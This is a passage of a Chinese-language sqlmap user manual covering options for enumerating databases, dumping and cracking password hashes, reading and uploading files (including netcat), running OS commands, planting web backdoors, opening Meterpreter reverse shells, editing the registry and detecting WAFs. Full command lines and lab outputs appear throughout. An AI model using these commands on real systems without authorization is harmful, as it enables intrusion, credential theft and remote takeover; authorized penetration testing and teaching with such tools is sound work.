有些時候注入點輸入的數據看返回結果的時候并不是當前的頁面,而是另外的一個頁面,這時候就需要你指定到哪個頁面獲取響應判斷真假。--second-order后門跟一個判斷頁面的URL地址。

8.列數據

標志

參數:-b,--banner

大多數的數據庫系統都有一個函數可以返回數據庫的版本號,通常這個函數是version()或者變量@@version這主要取決與是什么數據庫。

用戶

參數:-current-user

在大多數據庫中可以獲取到管理數據的用戶。

當前數據庫

參數:--current-db

返還當前連接的數據庫。

當前用戶是否為管理用

參數:--is-dba

判斷當前的用戶是否為管理,是的話會返回True。

列數據庫管理用戶

參數:--users

當前用戶有權限讀取包含所有用戶的表的權限時,就可以列出所有管理用戶。

列出并破解數據庫用戶的hash

參數:--passwords

當前用戶有權限讀取包含用戶密碼的彪的權限時,sqlmap會現列舉出用戶,然后列出hash,并嘗試破解。

例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:password hash: md5d7d880f96044b72d0bba108ace96d1e4clear-text password: testpass
[*] testuser [1]:password hash: md599e5ea7a6f7c3269995cba3927fd0093clear-text password: testpass

可以看到sqlmap不僅勒出數據庫的用戶跟密碼,同時也識別出是PostgreSQL數據庫,并詢問用戶是否采用字典爆破的方式進行破解,這個爆破已經支持Oracle和Microsoft SQL Server。

也可以提供-U參數來指定爆破哪個用戶的hash。

列出數據庫管理員權限

參數:--privileges

當前用戶有權限讀取包含所有用戶的表的權限時,很可能列舉出每個用戶的權限,sqlmap將會告訴你哪個是數據庫的超級管理員。也可以用-U參數指定你想看哪個用戶的權限。

列出數據庫管理員角色

參數:--roles

當前用戶有權限讀取包含所有用戶的表的權限時,很可能列舉出每個用戶的角色,也可以用-U參數指定你想看哪個用戶的角色。

僅適用于當前數據庫是Oracle的時候。

列出數據庫系統的數據庫

參數:--dbs

當前用戶有權限讀取包含所有數據庫列表信息的表中的時候,即可列出所有的數據庫。

列舉數據庫表

參數:--tables,--exclude-sysdbs,-D

當前用戶有權限讀取包含所有數據庫表信息的表中的時候,即可列出一個特定數據的所有表。

如果你不提供-D參數來列指定的一個數據的時候,sqlmap會列出數據庫所有庫的所有表。

--exclude-sysdbs參數是指包含了所有的系統數據庫。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是數據庫名稱。

列舉數據庫表中的字段

參數:--columns,-C,-T,-D

當前用戶有權限讀取包含所有數據庫表信息的表中的時候,即可列出指定數據庫表中的字段,同時也會列出字段的數據類型。

如果沒有使用-D參數指定數據庫時,默認會使用當前數據庫。

列舉一個SQLite的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

列舉數據庫系統的架構

參數:--schema,--exclude-sysdbs

用戶可以用此參數獲取數據庫的架構,包含所有的數據庫,表和字段,以及各自的類型。

加上--exclude-sysdbs參數,將不會獲取數據庫自帶的系統庫內容。

MySQL例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column ? ?  | Type ?  |
+-------------+---------+
| cid ? ? ? ? | int(11) |
| mysignature | text ?  |
| password ?  | text ?  |
| username ?  | text ?  |
+-------------+---------+
?
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column ? ? ? | Type ? ? |
+--------------+----------+
| date ? ? ? ? | datetime |
| blogger_name | text ? ? |
| cid ? ? ? ?  | int(11)  |
| comment ? ?  | text ? ? |
+--------------+----------+
?
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column ? | Type ? ? |
+----------+----------+
| date ? ? | datetime |
| browser  | text ? ? |
| cid ? ?  | int(11)  |
| hostname | text ? ? |
| ip ? ? ? | text ? ? |
| referer  | text ? ? |
+----------+----------+
?
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type ? ? ? ?  |
+---------+---------------+
| id ? ?  | int(11) ? ? ? |
| name ?  | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

獲取表中數據個數

參數:--count

有時候用戶只想獲取表中的數據個數而不是具體的內容,那么就可以使用這個參數。

列舉一個Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table ? ? ? ?  | Entries |
+----------------+---------+
| dbo.users ? ?  | 4 ? ? ? |
| dbo.users_blob | 2 ? ? ? |
+----------------+---------+

獲取整個表的數據

參數:--dump,-C,-T,-D,--start,--stop,--first,--last

如果當前管理員有權限讀取數據庫其中的一個表的話,那么就能獲取真個表的所有內容。

使用-D,-T參數指定想要獲取哪個庫的哪個表,不適用-D參數時,默認使用當前庫。

列舉一個Firebird的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME ? | SURNAME ?  |
+----+--------+------------+
| 1  | luther | blisset ?  |
| 2  | fluffy | bunny ? ?  |
| 3  | wu ? ? | ming ? ? ? |
| 4  | NULL ? | nameisnull |
+----+--------+------------+

可以獲取指定庫中的所有表的內容,只用-dump跟-D參數(不使用-T與-C參數)。

也可以用-dump跟-C獲取指定的字段內容。

sqlmap為每個表生成了一個CSV文件。

如果你只想獲取一段數據,可以使用--start和--stop參數,例如,你只想獲取第一段數據可hi使用--stop 1,如果想獲取第二段與第三段數據,使用參數 --start 1 --stop 3。

也可以用--first與--last參數,獲取第幾個字符到第幾個字符的內容,如果你想獲取字段中地三個字符到第五個字符的內容,使用--first 3 --last 5,只在盲注的時候使用,因為其他方式可以準確的獲取注入內容,不需要一個字符一個字符的猜解。

獲取所有數據庫表的內容

參數:--dump-all,--exclude-sysdbs

使用--dump-all參數獲取所有數據庫表的內容,可同時加上--exclude-sysdbs只獲取用戶數據庫的表,需要注意在Microsoft SQL Server中master數據庫沒有考慮成為一個系統數據庫,因為有的管理員會把他當初用戶數據庫一樣來使用它。

搜索字段,表,數據庫

參數:--search,-C,-T,-D

--search可以用來尋找特定的數據庫名,所有數據庫中的特定表名,所有數據庫表中的特定字段。

可以在一下三種情況下使用:

-C后跟著用逗號分割的列名,將會在所有數據庫表中搜索指定的列名。
-T后跟著用逗號分割的表名,將會在所有數據庫中搜索指定的表名
-D后跟著用逗號分割的庫名,將會在所有數據庫中搜索指定的庫名。

運行自定義的SQL語句

參數:--sql-query,--sql-shell

sqlmap會自動檢測確定使用哪種SQL注入技術,如何插入檢索語句。

如果是SELECT查詢語句,sqlap將會輸出結果。如果是通過SQL注入執行其他語句,需要測試是否支持多語句執行SQL語句。

列舉一個Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
?
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': ?  'foo'
?
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
?
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': ?  'foo, bar'

10.爆破

暴力破解表名

參數:--common-tables

當使用--tables無法獲取到數據庫的表時,可以使用此參數。

通常是如下情況:

1、MySQL數據庫版本小于5.0,沒有information_schema表。
2、數據庫是Microssoft Access,系統表MSysObjects是不可讀的(默認)。
3、當前用戶沒有權限讀取系統中保存數據結構的表的權限。

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

列舉一個MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
?
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL &lt; 5.0.0
banner: ?  '4.1.21-community-nt'
?
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
?
Database: testdb
[1 table]
+-------+
| users |
+-------+

暴力破解列名

參數:--common-columns

與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。

用戶自定義函數注入

參數:--udf-inject,--shared-lib

你可以通過編譯MySQL注入你自定義的函數(UDFs)或PostgreSQL在windows中共享庫,DLL,或者Linux/Unix中共享對象,sqlmap將會問你一些問題,上傳到服務器數據庫自定義函數,然后根據你的選擇執行他們,當你注入完成后,sqlmap將會移除它們。

11.系統文件操作

從數據庫服務器中讀取文件

參數:--file-read

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。讀取的文件可以是文本也可以是二進制文件。

列舉一個Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit

把文件上傳到數據庫服務器中

參數:--file-write,--file-dest

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。上傳的文件可以是文本也可以是二進制文件。

列舉一個MySQL的例子:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
?
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
?
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
?
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL &gt;= 5.0.0
?
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 
same size as the local file '/software/nc.exe.packed'

運行任意操作系統命令

參數:--os-cmd,--os-shell

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。

在MySQL、PostgreSQL,sqlmap上傳一個二進制庫,包含用戶自定義的函數,sys_exec()和sys_eval()。

那么他創建的這兩個函數可以執行系統命令。在Microsoft SQL Server,sqlmap將會使用xp_cmdshell存儲過程,如果被禁(在Microsoft SQL Server 2005及以上版本默認禁制),sqlmap會重新啟用它,如果不存在,會自動創建。

列舉一個PostgreSQL的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1
?
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: ?  'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
?
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 
only be deleted manually

用--os-shell參數也可以模擬一個真實的shell,可以輸入你想執行的命令。

當不能執行多語句的時候(比如php或者asp的后端數據庫為MySQL時),仍然可能使用INTO OUTFILE寫進可寫目錄,來創建一個web后門。支持的語言:

1、ASP
2、ASP.NET
3、JSP
4、PHP

Meterpreter配合使用

參數:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數,可以在數據庫與攻擊者直接建立TCP連接,這個連接可以是一個交互式命令行的Meterpreter會話,sqlmap根據Metasploit生成shellcode,并有四種方式執行它:

1、通過用戶自定義的sys_bineval()函數在內存中執行Metasplit的shellcode,支持MySQL和PostgreSQL數據庫,參數:--os-pwn。
2、通過用戶自定義的函數上傳一個獨立的payload執行,MySQL和PostgreSQL的sys_exec()函數,Microsoft SQL Server的xp_cmdshell()函數,參數:--os-pwn。
3、通過SMB攻擊(MS08-068)來執行Metasploit的shellcode,當sqlmap獲取到的權限足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004),在內存中執行Metasploit的payload,參數:--os-bof

列舉一個MySQL例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
?
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
&gt; 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
&gt; 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying 
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
&gt; 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
&gt; 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
&gt; 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
?_| | ? ?  o
_  _  _ ?  _ _|_  __, ? , ?  _  | |  __ ?  _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_//|\|
?
?=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops=[ svn r12272 updated 4 days ago (2011.04.07)
?
PAYLOAD =&gt; windows/meterpreter/reverse_tcp
EXITFUNC =&gt; thread
LPORT =&gt; 60641
LHOST =&gt; 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', 
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -&gt; 192.168.136.129:1689) at Mon Apr 11 
hh:mm:52 +0100 2011
?
meterpreter &gt; Loading extension espia...success.
meterpreter &gt; Loading extension incognito...success.
meterpreter &gt; [-] The 'priv' extension has already been loaded.
meterpreter &gt; Loading extension sniffer...success.
meterpreter &gt; System Language : en_US
OS ? ? ? ? ? ?  : Windows .NET Server (Build 3790, Service Pack 2).
Computer ? ? ?  : W2K3R2
Architecture ?  : x86
Meterpreter ? ? : x86/win32
meterpreter &gt; Server username: NT AUTHORITY\SYSTEM
meterpreter &gt; ipconfig
?
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask ? ? : 255.0.0.0
?
?
?
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask ? ? : 255.255.255.0
?
?
meterpreter &gt; exit
?
[*] Meterpreter session 1 closed.  Reason: User exit

默認情況下MySQL在Windows上以SYSTEM權限運行,PostgreSQL在Windows與Linux中是低權限運行,Microsoft SQL Server 2000默認是以SYSTEM權限運行,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時是LOCAL SERVICE。

《sqlmap用戶手冊》其實只寫了大部分可能用到的參數,還有些并未寫,這次補上~

ps:其實看到zone里很多問sqlmap的問題在通讀看完那篇文章后都能解決。可惜啊,現在的人通讀看文章的耐心都沒有了,遇到了哪個問題就想起針對這個問題求助,卻不知道仔細看完之后,以后可以省多少時間來求助,吐槽完畢,正文開始:

12.對Windows注冊表操作

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前web應用支持堆查詢。 當然,當前連接數據庫的用戶也需要有權限操作注冊表。

讀取注冊表值

參數:--reg-read

寫入注冊表值

參數:--reg-add

刪除注冊表值

參數:--reg-del

注冊表輔助選項

參數:--reg-key,--reg-value,--reg-data,--reg-type

需要配合之前三個參數使用,例子:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

13.常規參數

從sqlite中讀取session

參數:-s

sqlmap對每一個目標都會在output路徑下自動生成一個SQLite文件,如果用戶想指定讀取的文件路徑,就可以用這個參數。

保存HTTP(S)日志

參數:-t

這個參數需要跟一個文本文件,sqlmap會把HTTP(S)請求與響應的日志保存到那里。

非交互模式

參數:--batch

用此參數,不需要用戶輸入,將會使用sqlmap提示的默認值一直運行下去。

強制使用字符編碼

參數:--charset

不使用sqlmap自動識別的(如HTTP頭中的Content-Type)字符編碼,強制指定字符編碼如:

--charset=GBK

爬行網站URL

參數:--crawl

sqlmap可以收集潛在的可能存在漏洞的連接,后面跟的參數是爬行的深度。

例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

規定輸出到CSV中的分隔符

參數:--csv-del

當dump保存為CSV格式時(--dump-format=CSV),需要一個分隔符默認是逗號,用戶也可以改為別的 如:

--csv-del=";"

DBMS身份驗證

參數:--dbms-cred

某些時候當前用戶的權限不夠,做某些操作會失敗,如果知道高權限用戶的密碼,可以使用此參數,有的數據庫有專門的運行機制,可以切換用戶如Microsoft SQL Server的OPENROWSET函數

定義dump數據的格式

參數:--dump-format

輸出的格式可定義為:CSV,HTML,SQLITE

預估完成時間

參數:--eta

可以計算注入數據的剩余時間。

例如Oracle的布爾型盲注:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
?
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?  ] 11/64  ETA 00:19

然后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
?
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: ?  'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

sqlmap先輸出長度,預計完成時間,顯示百分比,輸出字符

刷新session文件

參數:--flush-session

如果不想用之前緩存這個目標的session文件,可以使用這個參數。 會清空之前的session,重新測試該目標。

自動獲取form表單測試

參數:--forms

如果你想對一個頁面的form表單中的參數測試,可以使用-r參數讀取請求文件,或者通過--data參數測試。 但是當使用--forms參數時,sqlmap會自動從-u中的url獲取頁面中的表單進行測試。

忽略在會話文件中存儲的查詢結果

參數:--fresh-queries

忽略session文件保存的查詢,重新查詢。

使用DBMS的hex函數

參數:--hex

有時候字符編碼的問題,可能導致數據丟失,可以使用hex函數來避免:

針對PostgreSQL例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
?
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

自定義輸出的路徑

參數:--output-dir

sqlmap默認把session文件跟結果文件保存在output文件夾下,用此參數可自定義輸出路徑 例如:--output-dir=/tmp

從響應中獲取DBMS的錯誤信息

參數:--parse-errors

有時目標沒有關閉DBMS的報錯,當數據庫語句錯誤時,會輸出錯誤語句,用詞參數可以會顯出錯誤信息。

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
[...]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] target URL appears to have 3 columns in query
[...]

14.其他的一些參數

使用參數縮寫

參數:-z

有使用參數太長太復雜,可以使用縮寫模式。 例如:

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以寫成:

python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

還有:

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以寫成:

python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

成功SQL注入時警告

參數:--alert

設定會發的答案

參數:--answers

當希望sqlmap提出輸入時,自動輸入自己想要的答案可以使用此參數: 例子:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N
[...]

發現SQL注入時發出蜂鳴聲

參數:--beep

發現sql注入時,發出蜂鳴聲。

啟發式檢測WAF/IPS/IDS保護

參數:--check-waf

WAF/IPS/IDS保護可能會對sqlmap造成很大的困擾,如果懷疑目標有此防護的話,可以使用此參數來測試。 sqlmap將會使用一個不存在的參數來注入測試

例如:

&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

如果有保護的話可能返回結果會不同。

清理sqlmap的UDF(s)和表

參數:--cleanup

清除sqlmap注入時產生的udf與表。

禁用彩色輸出

參數:--desable-coloring

sqlmap默認彩色輸出,可以使用此參數,禁掉彩色輸出。

使用指定的Google結果頁面

參數:--gpage

默認sqlmap使用前100個URL地址作為注入測試,結合此選項,可以指定頁面的URL測試。

使用HTTP參數污染

參數:--hpp

HTTP參數污染可能會繞過WAF/IPS/IDS保護機制,這個對ASP/IIS與ASP.NET/IIS平臺很有效。

測試WAF/IPS/IDS保護

參數:--identify-waf

sqlmap可以嘗試找出WAF/IPS/IDS保護,方便用戶做出繞過方式。目前大約支持30種產品的識別。

例如對一個受到ModSecurity WAF保護的MySQL例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
